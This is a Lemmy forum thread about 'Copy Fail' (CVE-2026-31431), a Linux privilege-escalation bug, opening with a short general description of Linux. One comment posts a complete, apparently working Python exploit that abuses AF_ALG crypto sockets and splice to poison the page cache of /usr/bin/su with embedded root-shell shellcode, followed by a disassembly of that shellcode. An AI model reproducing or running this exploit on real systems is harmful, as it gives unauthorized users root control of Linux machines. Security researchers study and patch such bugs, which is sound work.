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Linux is a family of open source Unix-like operating systems based on the Linux kernel, an operating system kernel first released on September 17, 1991 by Linus Torvalds. Linux is typically packaged in a Linux distribution (or distro for short).

Distributions include the Linux kernel and supporting system software and libraries, many of which are provided by the GNU Project. Many Linux distributions use the word "Linux" in their name, but the Free Software Foundation uses the name GNU/Linux to emphasize the importance of GNU software, causing some controversy.

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Copy Fail (CVE-2026-31431) is a trivially exploitable logic bug in Linux, reachable on all major distros released in the last 9 years. A small, portable python script gets root on all platforms. (copy.fail)

submitted 1 day ago by rabber@lemmy.ca to c/linux@lemmy.ml

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[–] pseud@lemmy.zip 37 points 1 day ago* (last edited 13 hours ago)

Script:

#!/usr/bin/env python3

import os, socket

f = os.open("/usr/bin/su", 0)

e = b'\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00>\x00\x01\x00\x00\x00x\x00@\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x008\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x9e\x00\x00\x00\x00\x00\x00\x00\x9e\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x001\xc01\xff\xb0i\x0f\x05H\x8d=\x0f\x00\x00\x001\xf6j;X\x99\x0f\x051\xffj<X\x0f\x05/bin/sh\x00\x00\x00'

for i in range(0, len(e), 4):
    s = socket.socket(38, 5, 0)
    s.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
    s.setsockopt(279, 1, bytes.fromhex('0800010000000010' + '0' * 64))
    s.setsockopt(279, 5, None, 4)
    u, _ = s.accept()
    u.sendmsg([b"AAAA" + e[i:i + 4]],
              [(279, 3, b'\x00\x00\x00\x00'),
               (279, 2, b'\x10' + b'\x00' * 19),
               (279, 4, b'\x08\x00\x00\x00'), ],
              32768)
    r, w = os.pipe()
    os.splice(f, w, i + 4, offset_src=0)
    os.splice(r, u.fileno(), i + 4)
    try:
        u.recv(8 + i)
    except: pass

os.system("su")

Blob:

0x00400078      eax = 0
0x0040007a      edi = 0
0x0040007c      al = 0x69                 ; 'i' ; 105
0x0040007e      syscall                   ; sys_setuid(0)
0x00400080      rdi = rip + 0xf           ; data.00400096
                                          ; 0x400096 ; "/bin/sh"
0x00400087      esi = 0
0x00400089      push 0x3b                 ; ';' ; 59
0x0040008b      pop rax
0x0040008c      cdq
0x0040008d      syscall                   ; sys_execve("/bin/sh", NULL, NULL)
0x0040008f      edi = 0
0x00400091      push 0x3c                 ; '<' ; 60
0x00400093      pop rax
0x00400094      syscall                   ; sys_exit(0)

The blob is obviously a stub-su that /usr/bin/su page cache is poisoned with.